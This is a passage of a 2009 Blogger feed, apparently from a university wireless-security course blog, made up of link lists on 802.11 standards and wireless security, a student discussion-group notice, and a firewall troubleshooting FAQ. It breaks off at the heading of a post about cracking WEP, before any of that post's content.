href="http://www.windowsnetworking.com/articles_tutorials/Introduction-Wireless-Networking-Part2.html"&gt;http://www.windowsnetworking.com/articles_tutorials/Introduction-Wire...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Part 3&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://www.windowsnetworking.com/articles_tutorials/Introduction-Wireless-Networking-Part3.html"&gt;http://www.windowsnetworking.com/articles_tutorials/Introduction-Wire...&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-4667876299681264384?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/4667876299681264384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=4667876299681264384' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4667876299681264384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4667876299681264384'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/introduction-to-wireless-networking.html' title='Introduction to Wireless Networking / Pengenalan kepada Rangkaian Tanpa Wayar'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4893923603824891068</id><published>2009-02-02T19:42:00.001-08:00</published><updated>2009-02-02T19:52:02.700-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Important url for wireless networking</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_AamnZyf3C_A/SYe_SXkzGPI/AAAAAAAAALM/mGY9V_zCwbg/s1600-h/wireless-network-1.jpg"&gt;&lt;img style="cursor: pointer; width: 217px; height: 320px;" src="http://2.bp.blogspot.com/_AamnZyf3C_A/SYe_SXkzGPI/AAAAAAAAALM/mGY9V_zCwbg/s320/wireless-network-1.jpg" alt="" id="BLOGGER_PHOTO_ID_5298413808911587570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://computer.howstuffworks.com/wireless-network.htm/printable"&gt;http://computer.howstuffworks.com/wireless-network.htm/printable&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/Wi-Fi"&gt;http://en.wikipedia.org/wiki/Wi-Fi&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Comparison chart - Wireless local area network standards&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/IEEE_802.11"&gt;http://en.wikipedia.org/wiki/IEEE_802.11&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/IEEE_802.11a"&gt;http://en.wikipedia.org/wiki/IEEE_802.11a&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/IEEE_802.11b"&gt;http://en.wikipedia.org/wiki/IEEE_802.11b&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/IEEE_802.11g"&gt;http://en.wikipedia.org/wiki/IEEE_802.11g&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/IEEE_802.11n"&gt;http://en.wikipedia.org/wiki/IEEE_802.11n&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/List_of_WLAN_channels"&gt;http://en.wikipedia.org/wiki/List_of_WLAN_channels&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Wireless Standards - 802.11b 802.11a 802.11g and 802.11n&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://compnetworking.about.com/cs/wireless80211/a/aa80211standard.htm"&gt;http://compnetworking.about.com/cs/wireless80211/a/aa80211standard.htm&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Comparison of Wireless LAN Standards - 802.11a versus 802.11b&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://www.mobileinfo.com/wireless_lans/802.11a_802.11b.htm"&gt;http://www.mobileinfo.com/wireless_lans/802.11a_802.11b.htm&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/Wireless_access_point"&gt;http://en.wikipedia.org/wiki/Wireless_access_point&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://en.wikipedia.org/wiki/Wireless_LAN"&gt;http://en.wikipedia.org/wiki/Wireless_LAN&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-4893923603824891068?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/4893923603824891068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=4893923603824891068' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4893923603824891068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4893923603824891068'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/important-url-for-wireless-security.html' title='Important url for wireless networking'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_AamnZyf3C_A/SYe_SXkzGPI/AAAAAAAAALM/mGY9V_zCwbg/s72-c/wireless-network-1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-2002046516495409775</id><published>2009-02-02T19:39:00.000-08:00</published><updated>2009-04-18T09:32:00.468-07:00</updated><title type='text'>Important url for wireless security</title><content type='html'>&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255); font-family: arial; font-size: 17px; font-weight: bold;"&gt;&lt;div&gt;&lt;div&gt;&lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/Wi-Fi &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Comparison chart - Wireless local area network standards &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/IEEE_802.11 &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/IEEE_802.11a &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/IEEE_802.11b &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/IEEE_802.11g &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/IEEE_802.11n &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/List_of_WLAN_channels &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Wireless Standards - 802.11b 802.11a 802.11g and 802.11n &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://compnetworking.about.com/cs/wireless80211/a/aa80211standard.htm &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Comparison of Wireless LAN Standards - 802.11a versus 802.11b &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://www.mobileinfo.com/wireless_lans/802.11a_802.11b.htm &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/Wireless_access_point &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-bottom:0cm;margin-bottom:.0001pt"&gt;&lt;span lang="EN-US" style="mso-bidi-font-family:Arial"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;http://en.wikipedia.org/wiki/Wireless_LAN&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-2002046516495409775?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/2002046516495409775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=2002046516495409775' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2002046516495409775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2002046516495409775'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/important-url-for-wireless-security_02.html' title='Important url for wireless security'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8942360528526122228</id><published>2009-02-02T19:35:00.000-08:00</published><updated>2009-02-02T19:39:25.564-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Discussion Groups for IWD 2243 session 2009</title><content type='html'>&lt;div&gt;To all wireless and mobile security students, please register your name here&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://groups.google.com/group/iwd2243-09"&gt;http://groups.google.com/group/iwd2243-09&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8942360528526122228?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8942360528526122228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8942360528526122228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8942360528526122228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8942360528526122228'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/discussion-groups-for-iwd-2243-session.html' title='Discussion Groups for IWD 2243 session 2009'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-5183422897950755217</id><published>2009-01-26T16:25:00.000-08:00</published><updated>2009-04-18T09:51:59.703-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><title type='text'>FAQ from firewall admim to the client for troubleshooting purpose</title><content type='html'>&lt;span class="Apple-style-span"   style="color: rgb(34, 34, 34);   line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;@ &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;Jan 13 2009, 09:22 AM&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;Let say you are working as firewall admin. One day, client A has calling you and tells that he have problem to access application in server B.&lt;br /&gt;I was wondering if anyone here are working as firewall support, what are the questions that you need to ask if the incident like this happen to you? I’ll list some of them and the purpose why the information is needed, maybe you could add or give better suggestion.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;1. What is the firewall name/ip address (so we know which firewall involved in this incident)&lt;br /&gt;2. What is the source and destination ip address (so we can check whether the traffic hit the firewall or not)&lt;br /&gt;3. traceroute result from source to destination ip. (so we know if the traffic was dropped at somewhere else)&lt;br /&gt;4. what is the incident number (if you are using the ticketing system so we can keep track what happened.)&lt;br /&gt;5. Has this work before? (if it worked, the possibilities of some changes has been done to the firewall or server) &lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="line-height: 17px; "&gt;&lt;div style="float: left; "&gt;&lt;span class="postdetails"  style=" line-height: 140%; font-size:small;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;Blake @ Jan 13 2009, 03:22 PM&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;6. What application and protocol are they using to access the server.&lt;br /&gt;7. Can they access any other server using the same application and protocol&lt;br /&gt;8. Has the client or host made any upgrades or patches recently&lt;br /&gt;9. What version of VPN software is the client using.&lt;br /&gt;Also I always start a remote desktop session using logmein.com or some other software. Speeds up the entire process when you can see the clients desktop.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="line-height: 20px; font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="line-height: 17px; "&gt;&lt;a href="http://www.governmentsecurity.org/forum/index.php?showuser=829" style="background-image: initial; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: transparent; font-size: small; text-decoration: none; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;packet @ &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;Jan 19 2009, 11:31 PM&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="color: rgb(0, 85, 187);   font-weight: bold; line-height: 17px;font-family:verdana;font-size:13px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; line-height: 20px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;And of course:&lt;br /&gt;&lt;br /&gt;10: when did it stop working?&lt;br /&gt;11: Reboot!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-5183422897950755217?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/5183422897950755217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=5183422897950755217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/5183422897950755217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/5183422897950755217'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/faq-from-firewall-admim-to-client-for.html' title='FAQ from firewall admim to the client for troubleshooting purpose'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8536619676022957162</id><published>2009-01-26T03:36:00.000-08:00</published><updated>2009-04-20T20:16:51.527-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Comparison of Wireless LAN Standards</title><content type='html'>&lt;div&gt;&lt;a href="http://www.brainbell.com/tutorials/Networking/FHSS_DSSS_And_802.11_Standards.html" target="_blank"&gt;http://www.brainbell.com/tutorials/Networking/FHSS_DSSS_And_802.11_Standards.html&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.mobileinfo.com/wireless_lans/802.11a_802.11b.htm" target="_blank"&gt;http://www.mobileinfo.com/wireless_lans/802.11a_802.11b.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8536619676022957162?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8536619676022957162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8536619676022957162' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8536619676022957162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8536619676022957162'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/comparison-of-wireless-lan-standards.html' title='Comparison of Wireless LAN Standards'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-2260932680265851520</id><published>2009-01-26T03:05:00.000-08:00</published><updated>2009-01-26T03:06:52.788-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless security'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><title type='text'>SANS InfoSec Reading Room - Wireless Access</title><content type='html'>Various great papers on Wireless Security can be found here...&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.sans.org/reading_room/whitepapers/wireless/"&gt;http://www.sans.org/reading_room/whitepapers/wireless/&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-2260932680265851520?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/2260932680265851520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=2260932680265851520' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2260932680265851520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2260932680265851520'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/sans-infosec-reading-room-wireless.html' title='SANS InfoSec Reading Room - Wireless Access'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-6784737113346998270</id><published>2009-01-26T02:31:00.000-08:00</published><updated>2009-01-26T02:39:58.878-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless security'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><title type='text'>Crack WEP?</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(119, 158, 4); font-family: Verdana; font-weight: bold; "&gt;How To Crack WEP - Part 1 - 3&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: 25px; font-weight: bold; 